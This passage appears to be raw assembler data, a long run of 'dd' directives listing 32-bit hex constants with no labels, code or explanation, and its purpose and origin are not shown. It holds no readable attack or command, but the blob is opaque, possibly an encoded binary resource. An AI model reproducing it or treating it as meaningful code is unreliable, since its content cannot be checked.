dd 961579CFh, 3C8C0D0h, 0EFD3C500h, 0CD46408Ch, 79CDB821h
dd 1DC8B892h, 3F720130h, 0F81CF600h, 835BEB14h, 6C52B200h
dd 0F51620A2h, 139E751Ah, 0FE504647h, 345AC400h, 0B34D81h
dd 0D8B21D94h, 850CDC80h, 503FB00h, 8C8B1A73h, 0B589009Eh
dd 302E2868h, 0BF012CE5h, 11529465h, 86E0B9B8h, 154A00C8h
dd 0FDBB8349h, 5800FA89h, 31F61E8Fh, 1C508EDDh, 89960608h
dd 0C10F1407h, 0BD00BB96h, 7E739770h, 2CD0E010h, 0B6D12Bh
dd 90508812h, 0A600FDE2h, 912E7B24h, 0C70342h, 43F5135Ah
dd 0CEF20BC9h, 94FCC600h, 3B1C0CE3h, 728016Eh, 0FDC3820Fh
dd 2C47E8FFh, 38892614h, 0C40F72BAh, 60187514h, 0F519DA28h
dd 709FF294h, 458800D6h, 6D785841h, 63EE1F8Dh, 220EE260h
dd 571173h, 0DD2FF67Ah, 9BA9A41Dh, 0F3B5EE00h, 29A88A7Eh
dd 644C01F1h, 85F86888h, 3CAED465h, 433E307Dh, 0D08C1D46h
dd 4576FEFAh, 5B763871h, 9132AB01h, 0DD23B262h, 90259887h
dd 60F01050h, 941F09C4h, 706F084Dh, 78ECEA7Bh, 54D40751h
dd 0B710A411h, 8AD0308Ch, 9CF4CC33h, 64097000h, 48D218Eh
dd 0C8F1EB0h, 40248380h, 9399F494h, 48C0DA18h, 77006106h
dd 10AD9C01h, 96C62h, 0A004AED0h, 8B7EC44h, 2888BC00h
dd 0B8F80DB9h, 119900D9h, 12C80930h, 0DC002280h, 44AC04BAh
dd 3C08BD84h, 59139C54h, 40AF41h, 885C118Ch, 0EC0CFC09h
dd 43BD24h, 0E40E0D0h, 705CB07Eh, 1218014Ah, 487824A8h
dd 10F591F9h, 0F4DC15E9h, 5801F60Bh, 0B201D794h, 9C24CC09h
dd 0B1BE2046h, 0ED12F928h, 4027B0F8h, 3D93D445h, 3423CC00h
dd 0B5497446h, 803C1938h, 90D511A7h, 64B814h, 13E817C5h
dd 7765F75Dh, 0AA66C201h, 0CCD501F8h, 54019DC2h, 131C3200h
dd 8D0EC08Bh, 1150040h, 181F4C86h, 2000D431h, 3244808h
dd 0E038E632h, 6E750052h, 656D6974h, 7217E420h, 48036FE2h
dd 0F0610183h, 3B30EAh, 45514086h, 8011BF18h, 629A7995h
dd 0E8554241h, 12057DFh, 550DEC01h, 0DC4E980Ah, 4F0164C5h
dd 9149C0Ch, 3CEC40C4h, 271007D4h, 231FC1F9h, 1EF3911Ch
dd 1DE20AD8h, 0AB189700h, 5E24F001h, 36C2DADh, 0BA6D7Eh
dd 3305265Ch, 305374h, 8409227Ch, 89948C44h, 0A4129C00h
dd 0B448AC24h, 22BC1F91h, 0D4CCCFC4h, 0E4EFDCEFh, 7C0FECE9h
dd 410FCE0h, 0C072254h, 891C1444h, 61310EFBh, 913C4834h
dd 0FF4CF9F3h, 64F95CEDh, 74ED6CEDh, 0CD207CEDh, 94893F8Ch
dd 2259C82h, 0CE4AA872h, 8E0567E0h, 23644700h, 0C56A9165h
dd 615703B0h, 485808E8h, 0FC8E6099h, 11005914h, 0E2C4C86Ch
dd 74315A1Ch, 468807D0h, 50E8235Bh, 0D1CF5C9Ch, 7FF4C813h
dd 0C25DE600h, 3C3156F8h, 0D380230Ch, 0A419782Ah, 300738ADh
dd 404CD033h, 8E6FF60h, 64110001h, 48200910h, 31079130h
dd 5AB97012h, 0FF606F7Fh, 2726807Fh, 74F06822h, 0B0CC7EBFh
dd 0E1081CD2h, 133C400Eh, 9580C41h, 88896804h, 19C59012h
dd 22C4B940h, 3DE044CCh, 1808A34h, 200F9831h, 88001040h
dd 11123008h, 98482238h, 89703A56h, 1D399813h, 0C6A80093h
dd 8A5F1D8h, 0EF00F0F8h, 81A9E888h, 0A8ED12EEh, 291E2E0h
dd 20E022E1h, 4243AE3Fh, 11438990h, 0EEADDA30h, 301002B6h
dd 0B91A1624h, 0A5986104h, 5F91601Fh, 60C1544Eh, 0BC4C85B1h
dd 0D8191ECCh, 882AC150h, 0D00A812Bh, 6C26FC21h, 1403C426h
dd 8818E04Fh, 9B5254h, 741C1394h, 88B8C848h, 8031C53Fh
dd 26AC5F60h, 3D80C354h, 4033369h, 0D8E46C21h, 41DF1490h
dd 32EE71F6h, 74BA1150h, 449C6E00h, 51CC107Ch, 98293ABCh
dd 493C0EFDh, 34A0C8ECh, 416BE885h, 74654DB0h, 4A80F4B0h
dd 398F89Bh, 621451C0h, 80E433E9h, 220829D5h, 0B1908102h
dd 0DD663824h, 0C47C34C0h, 10798272h, 0D471CC1Eh, 20A06B80h
dd 74440419h, 32842C91h, 0FCB01830h, 0FC7F6509h, 6C9C2C00h
dd 6D108854h, 5D6EE92h, 0C683308h, 52868016h, 0CC587C67h
dd 87913D3Ah, 26A808B2h, 4444950h, 3E64FED4h, 77579D9h
dd 4C33BC67h, 6924A051h, 655C28A4h, 0F3B40767h, 52401116h
dd 48AC8C63h, 14160EC5h, 82651EA9h, 941066E8h, 6AC46840h
dd 76B3E4Ch, 2CCA9858h, 4CD73317h, 0D4144150h, 60DA24EFh
dd 99F9042Dh, 7C368329h, 0D4BC59A9h, 88005308h, 0C9111078h
dd 0A42864h, 5C19CB1Ch, 0DCC244BAh, 0F96CEC00h, 90264C45h
dd 0DB665809h, 5611841Dh, 18DC007Ch, 9C9468B9h, 210099F6h
dd 267412D0h, 0CF6F19E4h, 22EF1568h, 0A09C66E7h, 1C5D39B4h
dd 88CDB000h, 0BF015F29h, 14AE198h, 1A5C0EBh, 0E8725887h
dd 70C81303h, 86F60053h, 2B2074B8h, 140071FCh, 6848F244h
dd 7532F8h, 221F7881h, 0C49447ACh, 8761C00h, 12A2F9B4h
dd 203E00D4h, 3C237868h, 0BE00C472h, 0B1FA5048h, 48996601h
dd 7C587931h, 0C424AC09h, 22EE2B40h, 0A20FE00h, 28184473h
dd 123E0589h, 90602454h, 90227E9Dh, 0B87FA2FEh, 0DA4DCA7Fh
dd 95FA02E9h, 0E132F008h, 36ED2616h, 9142ECh, 4460224Eh
dd 8E897E70h, 0AAFEB7B0h, 33015400h, 29D611C4h, 10E40309h
dd 897536B8h, 582445B8h, 95560126h, 7856681Eh, 99985841h
dd 11CDBA1Ch, 0F4D6AD30h, 0F887C0E0h, 2076068Ah, 992A462Ch
dd 241F3C13h, 0FC416056h, 20945384h, 344B0D4h, 0E289D2C0h
dd 2F0F212h, 1A3E0677h, 382A9F09h, 1D404A57h, 91864870h
dd 0A8223F98h, 0E638BCB3h, 4C9F8FBh, 4814C878h, 365C91FEh
dd 5A45023Ah, 0C0740143h, 14098213h, 90A42590h, 898C800h
dd 7239656Bh, 6C836E13h, 0AF6842FFh, 4303106Ah, 72759074h
dd 6E67008Fh, 0E685473h, 643B610Ch, 36168049h, 0FC304644h
dd 723A0043h, 633DF269h
dd 5300BF61h, 6F10C675h, 65316Eh, 2B76444Ch, 456D7017h
dd 4AB07E00h, 0DB49CE18h, 60F127h, 0B335007Ah, 0D372FB56h
dd 22013775h, 0E1AEC46h, 96C44151h, 7063636Fh, 1CD8574Ch
dd 1A00196Ah, 512A995Ah, 0E428D3h, 57181079h, 68BC6469h
dd 54FA6100h, 754D6F0Ch, 42B8016Ch, 34A27974h, 2E56F0BBh
dd 2D69210Eh, 7A42DF87h, 0C36E0EDAh, 63C2F800h, 1B790070h
dd 0D0FAC451h, 601E6269h, 45C04A72h, 18934178h, 0CA1100A4h
dd 12D2BE7Dh, 7B785339h, 0D670F900h, 416F6605h, 24DFA23h
dd 0D27764CBh, 0AEDE4630h, 0FF6D6100h, 74493A59h, 53271E34h
dd 0DC24C012h, 6F1C6745h, 8F74E43Dh, 0A0896DD3h, 55E9BA6Eh
dd 1497435h, 1DA8805Dh, 0FC2C9083h, 63005850h, 92C67365h
dd 3A4AE0h, 531962ACh, 1A0A74D4h, 706F5003h, 85714Bh, 90144598h
dd 0DC21664Fh, 0FC521F00h, 776E550Ch, 0A2643B3Eh, 18BFAA80h
dd 735F7EEFh, 0A8B2F600h, 0A59C7048h, 64D03B31h, 44865680h
dd 2DA110A6h, 7AD15300h, 7928EE4Ah, 6DFE00B4h, 0FB695439h
dd 3F3E1EA5h, 0E55C10h, 951A2A43h, 764FBECAh, 0B89A00D2h
dd 93754999h, 6C017214h, 79E64B5Eh, 0DB6248h, 0D23A6414h
dd 0A0EE6A26h, 676ED30Fh, 534D40A1h, 0D761E3h, 4B6F4252h
dd 76303D75h, 69709400h, 0BE09A53Ch, 0E4190067h, 0A44B2156h
dd 0EC00960Eh, 8ECD4F29h, 3F27A86Eh, 7D806AA7h, 0DACA23B4h
dd 500070DBh, 927494CCh, 7CD8D4FAh, 966607B8h, 0A16F4816h
dd 70A9493Bh, 0BD00CA07h, 9452C93Ch, 14A156F7h, 9074ED4Ch
dd 299F9107h, 26C02E14h, 52256A8Ch, 7C7ABC00h, 0F984D454h
dd 0B87A53h, 6947230Eh, 154CD6BBh, 0AFEE3Ah, 2A22E964h
dd 393E1F6h, 0C412EA28h, 0D5F19B41h, 92A7CC14h, 6A405200h
dd 75FC7960h, 706D0048h, 0F49859BEh, 0C32687C4h, 2A0090E2h
dd 0B29D774Ch, 10B6074Dh, 806BEAA9h, 80AE73A4h, 0B17F3C07h
dd 72E04A86h, 1EFB3744h, 5EC66D02h, 919C4069h, 561841BAh
dd 73CACD02h, 7596451Dh, 0B5E80763h, 41004F88h, 2ECE6471h
dd 36D3273h, 6BB63656h, 0C2DE1F8Ah, 0A9192C00h, 824445A6h
dd 66FC5Ch, 61702824h, 69414ABAh, 0C8675600h, 16644914h
dd 0C7300B9h, 50120AB5h, 190F356Eh, 248B1Eh, 1A724159h
dd 9B880AB4h, 8FAB43h, 9F52BA48h, 9A003996h, 0CEC66E25h
dd 0B0B167h, 4B90B3D6h, 122EAC15h, 4A645B00h, 488C6329h
dd 0DD940244h, 5F676F0Dh, 28EF6D60h, 9D13C87Fh, 4E008AA2h
dd 0B46F5C35h, 14550375h, 47817EDFh, 0C248C0BCh, 5F380197h
dd 0BF0152B0h, 100070ECh, 16E3CE0h, 300708h, 472C270Ch
dd 1E9E6F38h, 449F4007h, 4C47481Fh, 54875067h, 6AC762A7h
dd 7AC772E7h, 8AE782E7h, 9AE792E7h, 0AAE7A2E7h, 0BAE7B2E7h
dd 0CAE7C2E7h, 0DAE7D2E7h, 0EAE7E2E7h, 0FAE0F2E7h, 1310287h
dd 4712270Ah, 0E822671Ah, 3207A72Ah, 42E73AC7h, 52474A27h
dd 62875A67h, 72C76AA7h, 82E77AE7h, 0B6E7AEE7h, 0C6E7BEE7h
dd 0D6E7CEE7h, 0E6E7DEE7h, 10E1EFE0h, 0C9180032h, 0D887D180h
dd 1C0033CFh, 9D953446h, 0F8EE1DDBh, 0FC355864h, 4041E91Eh
dd 44C92936h, 0D800D7D1h, 62723826h, 767F74h, 7A95788Ah
dd 7EA77C9Dh, 0BB74B172h, 0D778D176h, 0F800E57Ah, 839021Ch
dd 0EE1D169Dh, 1E24019Eh, 1F429F36h, 0D95DD151h, 0E970E165h
dd 0F983F176h, 53A3F189h, 0BEF3B4A4h, 0D4F3C8F3h, 0F0F3DFF3h
dd 0FE98F6F0h, 1F3A5C00h, 4BE82AE4h, 1637EECh, 0F89AF482h
dd 0CBE2FCA2h, 394740AFh, 3A00673Bh, 3C970E85h, 0D74EA4h
dd 0F6CFDD8Eh, 843FF0Fh, 93133D00h, 0B323A31Ch, 39C30032h
dd 0B4E35BD3h, 0F000BCF3h, 0E45F3E41h, 3D6AE864h, 0DC1DD6ECh
dd 0F5F840F4h, 3F393AFCh, 590085B0h, 833C773Bh, 7C3E8B3Dh
dd 70E838BEh, 0CCE02085h, 295C192h, 0D89B613Ah, 4D013C45h
dd 5C3E533Dh, 68C9633Fh, 0E246ED0h, 0A89F3281h, 0B68EAE4Eh
dd 0E60FE0CFh, 1087F840h, 27001C31h, 923B4424h, 0F7495A18h
dd 390E23D4h, 0CA3AC43Fh, 2087FC3Bh, 104E3E32h, 5CCF548Eh
dd 4FB60F03h, 0C3CA8FC1h, 0E0E0D3D0h, 3AC3E9h, 51934133h
dd 61B35BA3h, 0D30369F4h, 0F375E36Fh, 0F086907Ch, 5534002Dh
dd 7FE873E4h, 0E1F487ECh, 0F8E7F400h, 3912FCEFh, 3A2A0035h
dd 3C36484Bh, 91073D7Dh, 8B0E9F3Eh, 0B6439E90h, 90C10037h
dd 0E4F138B2h, 17E23901h, 3C4B8FA8h, 773D6203h, 0C838B13Eh
dd 0BA92B9h, 0BCE2BBAEh, 3C2A8EF6h, 704E521Dh, 0EDCB381h
dd 7DE0283Dh, 3E090183h, 0A35B9335h, 0C4EFFCABh, 9900C970h
dd 4B0F7C06h, 7E969E1h, 0F9BCF18Bh, 80D087C5h, 5BB653FBh
dd 496E9207h, 0C8C0B8BEh, 39D4BA24h, 0E000DAFCh, 0FF9FBC91h
dd 32090D87h, 832F2717h, 0D08F6725h, 0EADA794h, 0C0E7B8C7h
dd 0DD80CB4Eh, 0BA43E3E5h, 15330200h, 1FA21A93h, 4FC039A7h
dd 5CC5578Eh, 0CF74BEA0h, 2A00C382h, 63903634h, 31FFC38h
dd 393C443Bh, 0EAB0DB3Ah, 3D00031Eh, 0F8B35CA4h, 0BAB2C9h
dd 2404841h, 300D21BCh, 0D1F42B7Ch, 95D97F00h, 4C31E1E0h
dd 714800F2h, 4B753973h, 79006977h, 7D7E7B72h, 221C85h
dd 0F79DCE33h, 587FE1Dh, 27C43400h, 354E41FFh, 94C800F9h
dd 1CC67236h, 5F0E3724h, 2004EC9Dh, 0B9C71538h, 64480047h
dd 3332D059h, 0E4003F3Dh, 0EC50E846h, 369F05Fh, 85F873F4h
dd 0A7939BFCh, 0CC92B5A0h, 3AC37E39h, 2DD026C9h, 0E89FDF9Eh
dd 0F980F11Fh, 73E031Ch, 1D0D009Dh, 1E179E11h, 33139F1Bh
dd 351D381Fh, 5600479Eh, 0EE4F6092h, 8ECF3977h, 9E3B963Ah
dd 0AE3DA63Ch, 0BE24B63Eh, 1C30082h, 23930D3Fh, 0B347A30Fh
dd 0D374404Fh, 398AE37Ch, 0AA3A90F3h, 0DE3CBB3Bh, 0FCF20079h
dd 450BC84h, 1E20364h, 93063000h, 0B327A319h, 4FC21231h
dd 0F90D07C9h, 50802773h, 9A8AFC32h, 0F27E2639h, 0AA76A274h
dd 0BA00B278h, 242CC24Dh, 128778F3h, 0F1E320Ch, 676747F5h
dd 0A73CA034h, 4C03C444h, 0FC6438CCh, 0A374936Ch, 792787Ch
dd 7E8E928Ch, 47A4279Ch, 87B467ACh, 0CAC4A7BCh, 9FD41FB3h
dd 9FE49FDCh, 80F49FECh, 33041CFCh, 144C9D0Ch, 9F2CC0E0h
dd 0B03C1F34h, 90B092h, 0A24F5492h, 296CC964h, 6287A403h
dd 938CE784h, 0B79CA394h, 4FAC0FBFh, 0CFBC8FB4h, 0CFCCCFC4h
dd 0CFDCCFD4h, 0D3ECCFE4h, 0E1FC1D00h, 0B0C3404h, 1CD114C9h
dd 2C9380F5h, 73023FEBh, 7744753Ch, 3E547B4Ch, 1F7DB85Ch
dd 9F74BF6Ch, 9E849F7Ch, 5F94DF8Ch, 24ABC09Ch, 0D69FA6B7h
dd 0E8E8DCE4h, 8702FCECh, 27083504h, 1E8BDE0Ch, 0A7188014h
dd 0E720C71Ch, 32002472h, 0B6D344E4h, 0E470F36Ch, 69CBA274h
dd 84E98084h, 8CF988F1h, 0C0F9A0F9h, 0CCF9C8F9h, 0D4F9D0F9h
dd 0DCF9D8F9h, 0E4F9E0F9h, 0FCF8E8F9h, 6C7548h, 76287472h
dd 43304C2Ch, 387C7A00h, 405D3C7Eh, 0A8EADC20h, 0E380666Fh
dd 9026E788h, 9819F74Ch, 0CCF9ACEFh, 0D8F9D4F9h, 0E0F9DCF1h
dd 4461BD21h, 0F0F9ECF9h, 0EF4F8h, 4E2C370Ch, 0CF388E34h
dd 400F3C01h, 488F444Fh, 50E94CE1h, 6419C1F2h, 8CE984E1h
dd 94F990F1h, 9CF998F9h, 0A4F9A0F9h, 0ACF9A8F9h, 0DCF9BCF9h
dd 0AC9E4F8h, 0F056A7E8h, 0F2F894F0h, 3809EE00h, 47146087h
dd 3C67341Dh, 0B5A440CAh, 0F34C6603h, 0A3549350h, 0A95CB258h
dd 98BF07BDh
dd 0B54F9CE5h, 0CFA8CFA4h, 0D6B0CFACh, 0BFB8D70Ah, 0F000B1A8h
dd 0A8E9F4F2h, 181FBFCh, 0AC740439h, 0FD10EC0Ch, 0F840FC20h
dd 4CFC481Ch, 541D509Dh, 5C1E589Eh, 0AD24609Fh, 789F681Fh
dd 0A09F989Fh, 54B3A49Fh, 0BAB0F0ACh, 47E69B8h, 44C0AD01h
dd 0F93F71D0h, 43ADCFDh, 5070E53Fh, 0F409143Bh, 0A28F818h
dd 41DA3B01h, 0E82470EAh, 0F339A3A4h, 0F3B8F3B4h, 0F3C0F3BCh
dd 0F2C8F3C4h, 4DC3CCh, 0E4083B78h, 0EC10E80Ch, 18F0140Bh
dd 0EB476F4h, 805924FCh, 3874AB3Ch, 61F3749Ah, 819A8026h
dd 3699709Ch, 89C1FAD0h, 0BFDCF9D8h, 5E43F7Ch, 3C74C7F4h
dd 472050C0h, 28670024h, 30A42C87h, 1F00ED85h, 5002B2FFh
dd 26783EE9h, 3A8D7CF9h, 880F843Bh, 904F8CFDh, 98CF948Fh
dd 3A0FA8CBh, 0D48FD0CFh, 0DCCFD8CFh, 0E4CFE0CFh, 0ECCFE8CFh
dd 4F8F0C0h, 2400723Dh, 30762C74h, 7A3478h, 40F1FF38h
dd 48F9F061h, 64E84CE4h, 8F3875D5h, 0CCA0CF9Ch, 0FCAC7DA4h
dd 6470C0C0h, 0F0FCEC98h, 0F729EADDh, 0E4043E80h, 4CE808h
dd 8AB26CECh, 20642658h, 8870600Bh, 84558081h, 0D27232h
dd 0DA76D674h, 0E27ADE78h, 7EE67C0Eh, 8EEE4EEAh, 0F6CFF2h
dd 76FE5DFAh, 3A060039h, 2E0E3B0Ah, 34E87012h, 2F0042F8h
dd 0C699235h, 1BD1B6h, 48FAEA25h, 723813E4h, 0ED74CC1Eh
dd 408E070Eh, 0AA3B923Ah, 47AF0027h, 81DE67BBh, 10033C0Bh
dd 4FD12AC9h, 0A6E1C8D9h, 8EE300E9h, 4E3E3D14h, 820E8A6Fh
dd 0A0C89598h, 7D3F185Ch, 3BA800BAh, 3DCE3CC1h, 0F61F3EE7h
dd 2A800F0Eh, 8195644Eh, 6701C32h, 132CC06Ch, 88753033h
dd 0F0AC1400h, 0F8C6F4BDh, 3139007Dh, 2CA83A8Bh, 2E00C4B1h
dd 7674BCACh, 0D978BFh, 559F77Ah, 3B2A3A6Ah, 502C3900h
dd 1F56AC5Ah, 0A79F39A0h, 0EB00B03Ah, 851C0993h, 6397469Dh
dd 7A3FC8ECh, 20BF0059h, 0A4357D0Eh, 8E00BE4Eh, 3689C3CDh
dd 0E5939Bh, 0BB0F7A3h, 77E44B37h, 78849A02h, 80CA7ABBh
dd 381D1CD1h, 3A93002Bh, 700F7253h, 65004F5Bh, 6EA76A89h
dd 0E47BE775h, 0EC86E880h, 93E4018Dh, 0F39E78D3h, 0F2A9C8A3h
dd 7469AE03h, 93D9F9C1h, 0B7EEA3E2h, 307235E0h, 9C0D306Eh
dd 289E1F6Ch, 72311E30h, 3969664Fh, 7B3A72CFh, 0BA00803Bh
dd 9CFEDACAh, 3C00931Eh, 3C9244Fh, 1953B7Fh, 0F249BE92h
dd 0F4F0E1E7h, 0E4031E08h, 9E2EDD31h, 9268B855h, 0D24F2E71h
dd 9DBD1C8Dh, 0C9DE00D5h, 142661F2h, 3B0E3800h, 24633C54h
dd 0E184B71h, 0D58EC549h, 6FC4DDC9h, 243E1700h, 641E627h
dd 0C9160F3Fh, 0D921D121h, 0FD34E12Fh, 3383320h, 78122294h
dd 0A98CE583h, 508C07F2h, 25947E2Ah, 0A065D298h, 74A867E9h
dd 0B4FCB069h, 6F2EC09Bh, 714BC897h, 0D873A5D0h, 4EE075D0h
dd 500F07E4h, 20F0CFECh, 4BF8C9F4h, 2325600h, 79600680h
dd 783B898h, 9CC30893h, 0D3143010h, 0F3F8E318h, 240E2072h
dd 207028F2h, 0EF3402C9h, 581303AEh, 27647C82h, 0E474E7E8h
dd 88B497EFh, 9496C91Ch, 0AA922461h, 0B84BC480h, 0C9C4D60Fh
dd 0D861C813h, 38DC7102h, 58DCC496h, 9A05DA27h, 0C8043107h
dd 1807645Bh, 283FA2E2h, 34243021h, 40E1BD21h, 967248E9h
dd 7D587B7Eh, 98645C60h, 5C707E7Eh, 0BD79A78h, 9C909029h
dd 0F400A024h, 0B493AC9Fh, 56C01A82h, 0D825AB70h, 0F0E81E11h
dd 31B04EF0h, 320ED60Eh, 890CE008h, 0CE4E114h, 22D4389Eh
dd 0E8004A31h, 33258803h, 719348h, 16B2BBA3h, 42744650h
dd 78537600h, 17987A67h, 0D53700B4h, 69389007h, 39005E21h
dd 312C71E7h, 1DD7C9A2h, 803CE3D1h, 0D3B030Bh, 2200BC27h
dd 37872D67h, 1CC741A7h, 9D56E74Ch, 0E56B0061h, 8BB49276h
dd 0A0BE4907h, 207FC834h, 59B8B0C4h, 24B21ED2h, 0FA96C0E6h
dd 233CF007h, 0C72F2500h, 844167E5h, 0CE92004Bh, 0A3A6C95Ah
dd 0BCE4AFF9h, 0D7F8E8E9h, 0E3593D07h, 3E10025Ch, 1933F87h
dd 22B28C49h, 0CC902060h, 0A8020F84h, 7316730h, 330BC0A9h
dd 12477FBh, 0E826DCA0h, 70D1EC9Dh, 4000B266h, 940E524Ah
dd 37C3DAh, 0DB938A36h, 66BB21A3h, 0C2E5CA00h, 61D2EA46h
dd 30A50058h, 2F723A5Eh, 5D3B7E74h, 685C02A9h, 0C22EE43Eh
dd 2CEC40EBh, 8E45014Eh, 0A751CBEDh, 0D347F014h, 3D126100h
dd 0D152C92Dh, 0B0D9006Eh, 0EC874A65h, 39013E1Eh, 7A475E27h
dd 0C4ECBF67h, 3F0201A1h, 0D11AC907h, 246A875Ah, 0A0E0E49Dh
dd 0F980Ch, 5F302D15h, 0C0B32A0Eh, 320B6400h, 0E8A3E44Fh
dd 0EC9E0E52h, 0C05DA11Dh, 50343887h, 0B0006E24h, 35394A46h
dd 0F5D3A58h, 7CCEFE7Eh, 0E8EFE420h, 0D003B4FBh, 959D1A1Ch
dd 7B01A024h, 3D73063Ch, 5A4E747Fh, 0E6F0BF00h, 0F17E3EBAh
dd 10C7513h, 79D28312h, 0CCC3A7B3h, 0E279C0D3h, 0FBA46909h
dd 72A40070h, 187412h, 28782276h, 537C4B7Ah, 5C7E39h, 146F5A69h
dd 23F82C2h, 8CAD26A7h, 9269BF9Fh, 0E0D3D9CDh, 0E12693D9h
dd 0CA17744Fh, 0B0443500h, 1C018404h, 0C007D4E4h, 9E43E90Dh
dd 2103C31Bh, 2FE229D3h, 3F5AE8D0h, 4BE60009h, 0F95DE0C1h
dd 0C3B07865h, 84227E01h, 0B4BC9C54h, 47E2CCh, 0D4DDE4CDh
dd 152C056h, 9A163100h, 7825764Ch, 3D7A0C2Dh, 63C34B7Ch
dd 719EC6DDh, 7F9F791Eh, 8F9F871Fh, 0A79F9D9Fh, 0B300B593h
dd 0D20FC34Eh, 0D7CF39D1h, 0E3C9DD00h, 0F8FADAC1h, 5A32010Eh
dd 1E54270Eh, 2D0F27F0h, 8B330F4Fh, 69E1A15Ch, 0FCC8A834h
dd 0AC004E35h, 61170C09h, 0D068F2h, 0C3723786h, 0A00FCF4Bh
dd 2303EE01h, 0FF93D538h, 0F390BE0h, 0E92AE418h, 5843B200h
dd 62697C56h, 9AB300B1h, 0E4B73FA0h, 0B30900CAh, 9E24BF3Ah
dd 444BD2DEh, 1EF12CE0h, 7F6C2BD9h, 743B6780h, 962E8624h
dd 0DCC2AC02h, 0C012D0B8h, 0C44929h, 7CC2DA2h, 0D8E7D416h
dd 0A0DCE40Eh, 0E8FC8082h, 3E1088h, 1C741872h, 3DE22059h
dd 2C4C287Ah, 342D00CBh, 0E73C1E07h, 444E440h, 92A048E4h
dd 78FDA050h, 114BB594h, 18639016h, 4F1A9C2Ch, 0AC1F3022h
dd 5A6074EAh, 7A004FB8h, 0C1E8CBE0h, 72F9F032h, 96F874F4h
dd 43F007Dh, 0C8641CAh, 0E110D900h, 1C8A2414h, 922007FCh
dd 27487E8Ch, 49544050h, 2E009058h, 0E0763C60h, 0C1E1F0h
dd 218B250Ch, 8A0BA428h, 9C902D00h, 0DB72337Dh, 3E73D4Fh
dd 13340680h, 22A21993h, 2CAE6900h, 38F10571h, 643C07F9h
dd 0BD9A464Ah, 4F3B206Ah, 880F6F13h, 2BCBCEC1h, 47B6807Fh
dd 630E6756h, 23B06F84h, 90FAFC8Eh, 3D390Ah, 9A4A261Fh
dd 8A15649Eh, 3FE9F258h, 0B73E002Fh, 0DE07C32Dh, 0F38500E2h
dd 4894A254h, 390026DDh, 885C9522h, 5CAB8050h, 27325BAh
dd 8C0CCC4Ch, 15C0F810h, 2E009C6Dh, 55966417h, 7E79D882h
dd 0F9EF0049h, 0EC468F5h, 6D003166h, 16A9734Bh, 18CD605h
dd 0DA48ACA6h, 0D007AD2Fh, 0C100E4BBh, 0DC19D249h, 0EDF9E5h
dd 0F824CC6Ch, 9D0D9CDEh, 223C1D71h, 5E7A80BFh, 735B6B7Ch
dd 86D4010Bh, 0F993AE41h, 0D0B2C999h, 3E1C78BAh, 0CD9DC73Fh
dd 0E02EF30Fh, 11330B36h, 1E1C728Eh, 4035CF21h, 73FCC147h
dd 96E489F9h, 6858A5E8h, 28B900F2h, 32E4D41Fh, 99EC00A2h
dd 72F162EAh, 2E00087Ch, 0AA963C8Bh, 0C36C83h, 0E2F2D0F3h
dd 0FB7E10F8h, 3508160Fh, 4062E01Ah, 0C348B3h, 0E250D34Ch
dd 5C38C954h
dd 6860F907h, 0CA302C6Ch, 9D529Ch, 8377166Bh, 0A3D39630h
dd 0F3AFE300h, 0C9CEF2BCh, 68E700DAh, 37060E1Eh, 63004329h
dd 7C936F38h, 1DB28EA3h, 0EE4E5894h, 0C44F81F4h, 78CCC60Fh
dd 3BD43A60h, 0C3DC01D8h, 95593953h, 0EB30DE71h, 84F47Fh
dd 0E6E3D5D3h, 0BF0F9F3h, 9E623A00h, 0A078127Ch, 0BAA7014Eh
dd 7E6C9808h, 4FD6C8C7h, 600E3000h, 0CAD8D50h, 0E6481DDDh
dd 707540E1h, 0BD723D82h, 9594E00h, 5083DE42h, 9233003Fh
dd 3832544Dh, 1072012h, 397730A2h, 9B258E30h, 0B21E0241h
dd 46E9C7E1h, 2A4EDAE0h, 0FE903200h, 0C1CE476h, 9D180033h
dd 9E531D2Bh, 25001468h, 213507D2h, 3275036h, 4F724557h
dd 0FA98F0B0h, 37480383h, 0A32201BFh, 0E95BB22Bh, 0F1EE20h
dd 58B4688Dh, 0EF93F0Ch, 80381B3Ch, 0D28BCB4Eh, 0F27241h
dd 939F47Ch, 96120F2Ch, 56836A03h, 0F899E38Fh, 70AC9A6h
dd 3BA84128h, 0D1737069h, 9302A83h, 0D32ED402h, 1EDB72F9h
dd 0DC3CE8h, 3A39A604h, 327A3B27h, 643D451Dh, 0C4846EC0h
dd 3C04AC9Eh, 19BCE73Fh, 0F05DA280h, 46BA0380h, 25D1F900h
dd 0EE332ED9h, 7765723Fh, 0C09F0199h, 4E57C597h, 4B1BD80Eh
dd 0D4A5B925h, 30CC0130h, 0ECE0501Ch, 70000F65h, 0C1228BBBh
dd 0D15FBCh, 347ED96Fh, 1696A30Ch, 4B00B9E2h, 0AEC0E4DAh
dd 0C5E3214h, 0CDA82238h, 0FE13498Ch, 980039DCh, 789ED46Eh
dd 0A07D2F12h, 1FF47570h, 0B897AD00h, 344B6480h, 0B6E4095Ah
dd 3160C7E8h, 0C80092D8h, 216C690h, 4B1D0F35h, 2FEB00F2h
dd 599F471Eh, 920B65EEh, 7E2A06Bh, 811B9500h, 0AFE7AA06h
dd 3EF0B9D0h, 0D383C834h, 0E27E16BAh, 0F25EED90h, 7200304h
dd 79810C36h, 8B603322h, 60E40049h, 0E6276CF1h, 0B5E4A43Fh
dd 4C92F07h, 5AD0E30Ch, 0D3E20h, 279E4091h, 0E0FDA3Fh
dd 0B1C9A100h, 74C564E1h, 83D94A4Ch, 9A0E9AAh, 5998E0B6h
dd 0AB2D1400h, 41E40F5Bh, 0D8B08Fh, 615FC956h, 7DF9748Eh
dd 3D9887E4h, 26DE6C01h, 0C39F16AAh, 0DBD0CEC9h, 0E0E60092h
dd 8495117Ch, 0F000205Ch, 91F43660h, 0FB696F8h, 0C3AB13BEh
dd 0CEF3C4C2h, 0E376A5D8h, 0F700ED78h, 667801F2h, 762774h
dd 0F595B31h, 0CD8FC2A2h, 61D8C900h, 0D02CECCEh, 180C778Bh
dd 6E6C4086h, 941C3E92h, 0C69DB03Fh, 0E580CB1Dh, 8A3C4709h
dd 0C990005Ah, 4D064002h, 16000FC0h, 7F83095h, 4E0331Ch
dd 8734C12Fh, 1251C335h, 148AB2C0h, 0DF1FEC1Ch, 0FE9F00BAh
dd 3AE60B95h, 0A9750024h, 68E956E8h, 0F8017012h, 2E785F04h
dd 0EE602A06h, 0FA8385Bh, 0B4CFB000h, 0EAA7B8C9h, 0C4E7C000h
dd 1AF0C8E5h, 1CBE2ED0h, 8BF81CD8h, 9780E0FCh, 76087404h
dd 10780C00h, 187C147Ah, 741C727Eh, 5F240020h, 30340B28h
